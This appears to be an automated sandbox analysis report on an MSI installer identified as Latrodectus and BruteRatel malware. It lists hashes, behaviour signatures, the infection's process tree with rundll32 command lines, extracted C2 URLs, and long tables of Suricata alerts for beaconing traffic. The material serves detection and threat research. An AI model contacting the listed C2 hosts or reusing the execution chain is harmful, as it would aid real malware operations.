Edit tour

Windows Analysis Report
medk.msi

Overview

General Information

Sample name:	medk.msi
Analysis ID:	1555319
MD5:	8cb04bf931a19fa0ae1bd7235180dd4a
SHA1:	dfc980a827dbde294ae9fa6e63545d1d57344e96
SHA256:	dfff1a07429ff9585f3dab9c78b501174e7c326e1fb95c5234368071b5426768
Tags:	msiuser-pr0xylife
Infos:

Detection

BruteRatel, Latrodectus

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected BruteRatel

Yara detected Latrodectus

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject threads in other processes

Creates a thread in another existing process (thread injection)

Drops executables to the windows directory (C:\Windows) and starts them

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Sample uses string decryption to hide its real strings

Sets debug register (to hijack the execution of another thread)

Sigma detected: RunDLL32 Spawning Explorer

Writes to foreign memory regions

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 2788 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\medk.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 6184 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 4592 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 31D436F1086AC158C6FA541C36CED057 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSI8F42.tmp (PID: 2120 cmdline: "C:\Windows\Installer\MSI8F42.tmp" /DontWait C:/Windows/SysWOW64/rundll32.exe C:\Users\user\AppData\Roaming\tab.dll, Object MD5: B9545ED17695A32FACE8C3408A6A3553)

rundll32.exe (PID: 2036 cmdline: "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 3784 cmdline: "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object MD5: EF3179D498793BF4234F708D3BE28633)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Brute Ratel C4, BruteRatel	Brute Ratel C4 (BRC4) is a commercial framework for red-teaming and adversarial attack simulation, which made its first appearance in December 2020. It was specifically designed to evade detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. BRC4 allows operators to deploy a backdoor agent known as Badger (aka BOLDBADGER) within a target environment.This agent enables arbitrary command execution, facilitating lateral movement, privilege escalation, and the establishment of additional persistence avenues. The Badger backdoor agent can communicate with a remote server via DNS over HTTPS, HTTP, HTTPS, SMB, and TCP, using custom encrypted channels. It supports a variety of backdoor commands including shell command execution, file transfers, file execution, and credential harvesting. Additionally, the Badger agent can perform tasks such as port scanning, screenshot capturing, and keystroke logging. Notably, in September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.	No Attribution	https://0xdarkvortex.dev/hiding-in-plainsight/ https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/ https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities https://blog.krakz.fr/articles/latrodectus/ https://blog.reveng.ai/latrodectus-distribution-via-brc4/	https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4

Name	Description	Attribution	Blogpost URLs	Link
Latrodectus, Latrodectus	First discovered in October 2023, BLACKWIDOW is a backdoor written in C that communicates over HTTP using RC4 encrypted requests. The malware has the capability to execute discovery commands, query information about the victim's machine, update itself, as well as download and execute an EXE, DLL, or shellcode. The malware is believed to have been developed by LUNAR SPIDER, the creators of IcedID (aka BokBot) Malware.	No Attribution	https://0x0d4y.blog/case-study-analyzing-and-implementing-string-decryption-algorithms-latrodectus/ https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ https://any.run/malware-trends/latrodectus https://blog.krakz.fr/articles/latrodectus/ https://blog.reveng.ai/latrodectus-distribution-via-brc4/	https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus

Malware Configuration

Threatname: Latrodectus

{"C2 url": ["https://rolefenik.com/test/", "https://ergiholim.com/test/"], "Group Name": "Theta", "Campaign ID": 1989698107}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000003.2232622768.000002931397B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000008.00000002.4591745236.000000000E21B000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000006.00000003.2232567502.000002931397B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
00000006.00000003.2232697308.000002931397B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: rundll32.exe PID: 3784	JoeSecurity_BruteRatel_1	Yara detected BruteRatel	Joe Security
Process Memory Space: explorer.exe PID: 4004	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Process Memory Space: explorer.exe PID: 4004	ironshell_php	Semi-Auto-generated - file ironshell.php.txt	Neo23x0 Yara BRG + customization by Stefan -dfate- Molls	0x56bb0:$s2: ~ Shell I 0x20edc4:$s2: ~ Shell I 0x268cb3:$s2: ~ Shell I
decrypted.memstr	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: RunDLL32 Spawning Explorer

Source: Process started

Author: elhoim, CD_ROM_: Data: Command: C:\Windows\Explorer.EXE, CommandLine: C:\Windows\Explorer.EXE, CommandLine|base64offset|contains: , Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: "C:\Windows\SysWOW64\rundll32.exe" C:\Users\user\AppData\Roaming\tab.dll, Object, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 3784, ParentProcessName: rundll32.exe, ProcessCommandLine: C:\Windows\Explorer.EXE, ProcessId: 4004, ProcessName: explorer.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:20:20.516009+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49754	TCP
2024-11-13T18:20:58.427119+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49956	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:21:35.289353+0100	2028371	3	Unknown Traffic	192.168.2.6	49988	104.21.92.105	443	TCP
2024-11-13T18:21:36.742312+0100	2028371	3	Unknown Traffic	192.168.2.6	49989	104.21.15.162	443	TCP
2024-11-13T18:21:39.299333+0100	2028371	3	Unknown Traffic	192.168.2.6	49990	104.21.92.105	443	TCP
2024-11-13T18:21:40.716651+0100	2028371	3	Unknown Traffic	192.168.2.6	49991	104.21.15.162	443	TCP
2024-11-13T18:21:42.395163+0100	2028371	3	Unknown Traffic	192.168.2.6	49992	104.21.92.105	443	TCP
2024-11-13T18:21:43.584276+0100	2028371	3	Unknown Traffic	192.168.2.6	49993	104.21.15.162	443	TCP
2024-11-13T18:21:45.443244+0100	2028371	3	Unknown Traffic	192.168.2.6	49994	104.21.92.105	443	TCP
2024-11-13T18:21:47.397878+0100	2028371	3	Unknown Traffic	192.168.2.6	49995	104.21.15.162	443	TCP
2024-11-13T18:21:48.622876+0100	2028371	3	Unknown Traffic	192.168.2.6	49996	104.21.92.105	443	TCP
2024-11-13T18:21:50.027586+0100	2028371	3	Unknown Traffic	192.168.2.6	49997	104.21.15.162	443	TCP
2024-11-13T18:21:51.751655+0100	2028371	3	Unknown Traffic	192.168.2.6	49998	104.21.92.105	443	TCP
2024-11-13T18:21:54.029296+0100	2028371	3	Unknown Traffic	192.168.2.6	49999	104.21.15.162	443	TCP
2024-11-13T18:21:55.239147+0100	2028371	3	Unknown Traffic	192.168.2.6	50000	104.21.92.105	443	TCP
2024-11-13T18:21:56.848285+0100	2028371	3	Unknown Traffic	192.168.2.6	50001	104.21.15.162	443	TCP
2024-11-13T18:21:58.482924+0100	2028371	3	Unknown Traffic	192.168.2.6	50003	104.21.92.105	443	TCP
2024-11-13T18:21:59.983991+0100	2028371	3	Unknown Traffic	192.168.2.6	50004	104.21.15.162	443	TCP
2024-11-13T18:22:00.966575+0100	2028371	3	Unknown Traffic	192.168.2.6	50005	104.21.92.105	443	TCP
2024-11-13T18:22:01.861079+0100	2028371	3	Unknown Traffic	192.168.2.6	50006	104.21.15.162	443	TCP
2024-11-13T18:22:02.912371+0100	2028371	3	Unknown Traffic	192.168.2.6	50007	104.21.92.105	443	TCP
2024-11-13T18:22:04.419792+0100	2028371	3	Unknown Traffic	192.168.2.6	50008	104.21.15.162	443	TCP
2024-11-13T18:22:06.671027+0100	2028371	3	Unknown Traffic	192.168.2.6	50010	104.21.92.105	443	TCP
2024-11-13T18:22:08.316987+0100	2028371	3	Unknown Traffic	192.168.2.6	50011	104.21.15.162	443	TCP
2024-11-13T18:22:09.788113+0100	2028371	3	Unknown Traffic	192.168.2.6	50012	104.21.92.105	443	TCP
2024-11-13T18:22:11.153189+0100	2028371	3	Unknown Traffic	192.168.2.6	50013	104.21.15.162	443	TCP
2024-11-13T18:22:12.681683+0100	2028371	3	Unknown Traffic	192.168.2.6	50014	104.21.92.105	443	TCP
2024-11-13T18:22:14.294877+0100	2028371	3	Unknown Traffic	192.168.2.6	50015	104.21.15.162	443	TCP
2024-11-13T18:22:15.982040+0100	2028371	3	Unknown Traffic	192.168.2.6	50016	104.21.92.105	443	TCP
2024-11-13T18:22:17.325529+0100	2028371	3	Unknown Traffic	192.168.2.6	50017	104.21.15.162	443	TCP
2024-11-13T18:22:18.397920+0100	2028371	3	Unknown Traffic	192.168.2.6	50018	104.21.92.105	443	TCP
2024-11-13T18:22:19.737666+0100	2028371	3	Unknown Traffic	192.168.2.6	50019	104.21.15.162	443	TCP
2024-11-13T18:22:21.409128+0100	2028371	3	Unknown Traffic	192.168.2.6	50020	104.21.92.105	443	TCP
2024-11-13T18:22:23.039590+0100	2028371	3	Unknown Traffic	192.168.2.6	50021	104.21.15.162	443	TCP
2024-11-13T18:22:24.805613+0100	2028371	3	Unknown Traffic	192.168.2.6	50022	104.21.92.105	443	TCP
2024-11-13T18:22:26.173414+0100	2028371	3	Unknown Traffic	192.168.2.6	50023	104.21.15.162	443	TCP
2024-11-13T18:22:27.540954+0100	2028371	3	Unknown Traffic	192.168.2.6	50024	104.21.92.105	443	TCP
2024-11-13T18:22:28.687333+0100	2028371	3	Unknown Traffic	192.168.2.6	50025	104.21.15.162	443	TCP
2024-11-13T18:22:29.900602+0100	2028371	3	Unknown Traffic	192.168.2.6	50026	104.21.92.105	443	TCP
2024-11-13T18:22:31.429651+0100	2028371	3	Unknown Traffic	192.168.2.6	50027	104.21.15.162	443	TCP
2024-11-13T18:22:33.096565+0100	2028371	3	Unknown Traffic	192.168.2.6	50028	104.21.92.105	443	TCP
2024-11-13T18:22:34.500030+0100	2028371	3	Unknown Traffic	192.168.2.6	50030	104.21.15.162	443	TCP
2024-11-13T18:22:35.673101+0100	2028371	3	Unknown Traffic	192.168.2.6	50032	104.21.92.105	443	TCP
2024-11-13T18:22:37.181142+0100	2028371	3	Unknown Traffic	192.168.2.6	50033	104.21.15.162	443	TCP
2024-11-13T18:22:39.892991+0100	2028371	3	Unknown Traffic	192.168.2.6	50034	104.21.92.105	443	TCP
2024-11-13T18:22:41.066186+0100	2028371	3	Unknown Traffic	192.168.2.6	50035	104.21.15.162	443	TCP
2024-11-13T18:22:42.478083+0100	2028371	3	Unknown Traffic	192.168.2.6	50036	104.21.92.105	443	TCP
2024-11-13T18:22:44.268059+0100	2028371	3	Unknown Traffic	192.168.2.6	50037	104.21.15.162	443	TCP
2024-11-13T18:22:45.547937+0100	2028371	3	Unknown Traffic	192.168.2.6	50038	104.21.92.105	443	TCP
2024-11-13T18:22:47.040842+0100	2028371	3	Unknown Traffic	192.168.2.6	50039	104.21.15.162	443	TCP
2024-11-13T18:22:48.238909+0100	2028371	3	Unknown Traffic	192.168.2.6	50040	104.21.92.105	443	TCP
2024-11-13T18:22:49.532459+0100	2028371	3	Unknown Traffic	192.168.2.6	50041	104.21.15.162	443	TCP
2024-11-13T18:22:51.299788+0100	2028371	3	Unknown Traffic	192.168.2.6	50042	104.21.92.105	443	TCP
2024-11-13T18:22:52.434082+0100	2028371	3	Unknown Traffic	192.168.2.6	50043	104.21.15.162	443	TCP
2024-11-13T18:22:53.735864+0100	2028371	3	Unknown Traffic	192.168.2.6	50044	104.21.92.105	443	TCP
2024-11-13T18:22:55.151098+0100	2028371	3	Unknown Traffic	192.168.2.6	50045	104.21.15.162	443	TCP
2024-11-13T18:22:57.103138+0100	2028371	3	Unknown Traffic	192.168.2.6	50046	104.21.92.105	443	TCP
2024-11-13T18:22:58.946530+0100	2028371	3	Unknown Traffic	192.168.2.6	50047	104.21.15.162	443	TCP
2024-11-13T18:23:00.285448+0100	2028371	3	Unknown Traffic	192.168.2.6	50048	104.21.92.105	443	TCP
2024-11-13T18:23:01.834162+0100	2028371	3	Unknown Traffic	192.168.2.6	50049	104.21.15.162	443	TCP
2024-11-13T18:23:03.439760+0100	2028371	3	Unknown Traffic	192.168.2.6	50050	104.21.92.105	443	TCP
2024-11-13T18:23:04.744340+0100	2028371	3	Unknown Traffic	192.168.2.6	50051	104.21.15.162	443	TCP
2024-11-13T18:23:06.367173+0100	2028371	3	Unknown Traffic	192.168.2.6	50053	104.21.92.105	443	TCP
2024-11-13T18:23:07.792039+0100	2028371	3	Unknown Traffic	192.168.2.6	50054	104.21.15.162	443	TCP
2024-11-13T18:23:09.034125+0100	2028371	3	Unknown Traffic	192.168.2.6	50055	104.21.92.105	443	TCP
2024-11-13T18:23:10.241740+0100	2028371	3	Unknown Traffic	192.168.2.6	50056	104.21.15.162	443	TCP
2024-11-13T18:23:11.469710+0100	2028371	3	Unknown Traffic	192.168.2.6	50057	104.21.92.105	443	TCP
2024-11-13T18:23:12.752330+0100	2028371	3	Unknown Traffic	192.168.2.6	50058	104.21.15.162	443	TCP
2024-11-13T18:23:14.697821+0100	2028371	3	Unknown Traffic	192.168.2.6	50059	104.21.92.105	443	TCP
2024-11-13T18:23:16.145916+0100	2028371	3	Unknown Traffic	192.168.2.6	50061	104.21.15.162	443	TCP
2024-11-13T18:23:17.621379+0100	2028371	3	Unknown Traffic	192.168.2.6	50062	104.21.92.105	443	TCP
2024-11-13T18:23:19.190901+0100	2028371	3	Unknown Traffic	192.168.2.6	50063	104.21.15.162	443	TCP
2024-11-13T18:23:20.884938+0100	2028371	3	Unknown Traffic	192.168.2.6	50064	104.21.92.105	443	TCP
2024-11-13T18:23:22.316802+0100	2028371	3	Unknown Traffic	192.168.2.6	50065	104.21.15.162	443	TCP
2024-11-13T18:23:23.601065+0100	2028371	3	Unknown Traffic	192.168.2.6	50066	104.21.92.105	443	TCP
2024-11-13T18:23:24.783669+0100	2028371	3	Unknown Traffic	192.168.2.6	50067	104.21.15.162	443	TCP
2024-11-13T18:23:26.057648+0100	2028371	3	Unknown Traffic	192.168.2.6	50068	104.21.92.105	443	TCP
2024-11-13T18:23:27.930928+0100	2028371	3	Unknown Traffic	192.168.2.6	50069	104.21.15.162	443	TCP
2024-11-13T18:23:29.432946+0100	2028371	3	Unknown Traffic	192.168.2.6	50070	104.21.92.105	443	TCP
2024-11-13T18:23:30.836937+0100	2028371	3	Unknown Traffic	192.168.2.6	50071	104.21.15.162	443	TCP
2024-11-13T18:23:32.368537+0100	2028371	3	Unknown Traffic	192.168.2.6	50072	104.21.92.105	443	TCP
2024-11-13T18:23:33.673410+0100	2028371	3	Unknown Traffic	192.168.2.6	50074	104.21.15.162	443	TCP
2024-11-13T18:23:35.075522+0100	2028371	3	Unknown Traffic	192.168.2.6	50075	104.21.92.105	443	TCP
2024-11-13T18:23:35.965995+0100	2028371	3	Unknown Traffic	192.168.2.6	50076	104.21.15.162	443	TCP
2024-11-13T18:23:37.485237+0100	2028371	3	Unknown Traffic	192.168.2.6	50077	104.21.92.105	443	TCP
2024-11-13T18:23:38.786475+0100	2028371	3	Unknown Traffic	192.168.2.6	50078	104.21.15.162	443	TCP
2024-11-13T18:23:40.158051+0100	2028371	3	Unknown Traffic	192.168.2.6	50079	104.21.92.105	443	TCP
2024-11-13T18:23:41.606161+0100	2028371	3	Unknown Traffic	192.168.2.6	50080	104.21.15.162	443	TCP
2024-11-13T18:23:43.466328+0100	2028371	3	Unknown Traffic	192.168.2.6	50081	104.21.92.105	443	TCP
2024-11-13T18:23:44.811578+0100	2028371	3	Unknown Traffic	192.168.2.6	50082	104.21.15.162	443	TCP
2024-11-13T18:23:46.120580+0100	2028371	3	Unknown Traffic	192.168.2.6	50083	104.21.92.105	443	TCP
2024-11-13T18:23:47.721691+0100	2028371	3	Unknown Traffic	192.168.2.6	50084	104.21.15.162	443	TCP
2024-11-13T18:23:49.135574+0100	2028371	3	Unknown Traffic	192.168.2.6	50085	104.21.92.105	443	TCP
2024-11-13T18:23:50.473952+0100	2028371	3	Unknown Traffic	192.168.2.6	50086	104.21.15.162	443	TCP
2024-11-13T18:23:52.244014+0100	2028371	3	Unknown Traffic	192.168.2.6	50087	104.21.92.105	443	TCP
2024-11-13T18:23:53.654205+0100	2028371	3	Unknown Traffic	192.168.2.6	50088	104.21.15.162	443	TCP
2024-11-13T18:23:54.892301+0100	2028371	3	Unknown Traffic	192.168.2.6	50089	104.21.92.105	443	TCP
2024-11-13T18:23:56.149717+0100	2028371	3	Unknown Traffic	192.168.2.6	50090	104.21.15.162	443	TCP
2024-11-13T18:23:57.448972+0100	2028371	3	Unknown Traffic	192.168.2.6	50091	104.21.92.105	443	TCP
2024-11-13T18:23:58.865757+0100	2028371	3	Unknown Traffic	192.168.2.6	50092	104.21.15.162	443	TCP
2024-11-13T18:24:00.671218+0100	2028371	3	Unknown Traffic	192.168.2.6	50093	104.21.92.105	443	TCP
2024-11-13T18:24:02.013688+0100	2028371	3	Unknown Traffic	192.168.2.6	50094	104.21.15.162	443	TCP
2024-11-13T18:24:03.637736+0100	2028371	3	Unknown Traffic	192.168.2.6	50095	104.21.92.105	443	TCP
2024-11-13T18:24:06.448528+0100	2028371	3	Unknown Traffic	192.168.2.6	50096	104.21.15.162	443	TCP

ET MALWARE Latrodectus Loader Related Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T18:21:35.325555+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49988	104.21.92.105	443	TCP
2024-11-13T18:21:36.745751+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49989	104.21.15.162	443	TCP
2024-11-13T18:21:39.300933+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49990	104.21.92.105	443	TCP
2024-11-13T18:21:40.718248+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49991	104.21.15.162	443	TCP
2024-11-13T18:21:42.396983+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49992	104.21.92.105	443	TCP
2024-11-13T18:21:43.585814+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49993	104.21.15.162	443	TCP
2024-11-13T18:21:45.444884+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49994	104.21.92.105	443	TCP
2024-11-13T18:21:47.399255+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49995	104.21.15.162	443	TCP
2024-11-13T18:21:48.624530+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49996	104.21.92.105	443	TCP
2024-11-13T18:21:50.029215+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49997	104.21.15.162	443	TCP
2024-11-13T18:21:51.753617+0100	2048735	1	A Network Trojan was detected	192.168.2.6	49998	104.21.92.105	443	TCP
2024-11-13T18:21:55.240793+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50000	104.21.92.105	443	TCP
2024-11-13T18:21:56.851903+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50001	104.21.15.162	443	TCP
2024-11-13T18:21:58.484908+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50003	104.21.92.105	443	TCP
2024-11-13T18:21:59.985634+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50004	104.21.15.162	443	TCP
2024-11-13T18:22:00.968674+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50005	104.21.92.105	443	TCP
2024-11-13T18:22:01.880801+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50006	104.21.15.162	443	TCP
2024-11-13T18:22:02.913859+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50007	104.21.92.105	443	TCP
2024-11-13T18:22:04.427996+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50008	104.21.15.162	443	TCP
2024-11-13T18:22:06.697900+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50010	104.21.92.105	443	TCP
2024-11-13T18:22:08.318470+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50011	104.21.15.162	443	TCP
2024-11-13T18:22:09.789779+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50012	104.21.92.105	443	TCP
2024-11-13T18:22:11.155356+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50013	104.21.15.162	443	TCP
2024-11-13T18:22:12.683403+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50014	104.21.92.105	443	TCP
2024-11-13T18:22:14.296434+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50015	104.21.15.162	443	TCP
2024-11-13T18:22:15.983549+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50016	104.21.92.105	443	TCP
2024-11-13T18:22:17.331157+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50017	104.21.15.162	443	TCP
2024-11-13T18:22:18.399575+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50018	104.21.92.105	443	TCP
2024-11-13T18:22:19.739101+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50019	104.21.15.162	443	TCP
2024-11-13T18:22:21.410907+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50020	104.21.92.105	443	TCP
2024-11-13T18:22:23.041999+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50021	104.21.15.162	443	TCP
2024-11-13T18:22:24.807513+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50022	104.21.92.105	443	TCP
2024-11-13T18:22:26.178401+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50023	104.21.15.162	443	TCP
2024-11-13T18:22:27.543087+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50024	104.21.92.105	443	TCP
2024-11-13T18:22:28.689063+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50025	104.21.15.162	443	TCP
2024-11-13T18:22:29.905136+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50026	104.21.92.105	443	TCP
2024-11-13T18:22:31.431657+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50027	104.21.15.162	443	TCP
2024-11-13T18:22:33.098757+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50028	104.21.92.105	443	TCP
2024-11-13T18:22:34.501612+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50030	104.21.15.162	443	TCP
2024-11-13T18:22:35.678117+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50032	104.21.92.105	443	TCP
2024-11-13T18:22:37.183209+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50033	104.21.15.162	443	TCP
2024-11-13T18:22:39.894562+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50034	104.21.92.105	443	TCP
2024-11-13T18:22:41.067957+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50035	104.21.15.162	443	TCP
2024-11-13T18:22:42.480274+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50036	104.21.92.105	443	TCP
2024-11-13T18:22:44.269690+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50037	104.21.15.162	443	TCP
2024-11-13T18:22:45.550809+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50038	104.21.92.105	443	TCP
2024-11-13T18:22:47.043304+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50039	104.21.15.162	443	TCP
2024-11-13T18:22:48.240620+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50040	104.21.92.105	443	TCP
2024-11-13T18:22:49.534433+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50041	104.21.15.162	443	TCP
2024-11-13T18:22:51.301944+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50042	104.21.92.105	443	TCP
2024-11-13T18:22:52.435848+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50043	104.21.15.162	443	TCP
2024-11-13T18:22:53.737613+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50044	104.21.92.105	443	TCP
2024-11-13T18:22:55.153007+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50045	104.21.15.162	443	TCP
2024-11-13T18:22:57.105060+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50046	104.21.92.105	443	TCP
2024-11-13T18:22:58.971880+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50047	104.21.15.162	443	TCP
2024-11-13T18:23:00.287129+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50048	104.21.92.105	443	TCP
2024-11-13T18:23:01.835907+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50049	104.21.15.162	443	TCP
2024-11-13T18:23:03.441860+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50050	104.21.92.105	443	TCP
2024-11-13T18:23:04.746138+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50051	104.21.15.162	443	TCP
2024-11-13T18:23:06.367358+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50053	104.21.92.105	443	TCP
2024-11-13T18:23:07.797628+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50054	104.21.15.162	443	TCP
2024-11-13T18:23:09.036279+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50055	104.21.92.105	443	TCP
2024-11-13T18:23:10.244065+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50056	104.21.15.162	443	TCP
2024-11-13T18:23:11.471628+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50057	104.21.92.105	443	TCP
2024-11-13T18:23:12.753942+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50058	104.21.15.162	443	TCP
2024-11-13T18:23:14.700323+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50059	104.21.92.105	443	TCP
2024-11-13T18:23:16.169310+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50061	104.21.15.162	443	TCP
2024-11-13T18:23:17.623742+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50062	104.21.92.105	443	TCP
2024-11-13T18:23:19.192979+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50063	104.21.15.162	443	TCP
2024-11-13T18:23:20.886689+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50064	104.21.92.105	443	TCP
2024-11-13T18:23:22.318351+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50065	104.21.15.162	443	TCP
2024-11-13T18:23:23.603206+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50066	104.21.92.105	443	TCP
2024-11-13T18:23:24.785334+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50067	104.21.15.162	443	TCP
2024-11-13T18:23:26.059590+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50068	104.21.92.105	443	TCP
2024-11-13T18:23:27.932558+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50069	104.21.15.162	443	TCP
2024-11-13T18:23:29.434900+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50070	104.21.92.105	443	TCP
2024-11-13T18:23:30.907646+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50071	104.21.15.162	443	TCP
2024-11-13T18:23:32.370472+0100	2048735	1	A Network Trojan was detected	192.168.2.6	50072	104.21.92.105	443	TCP
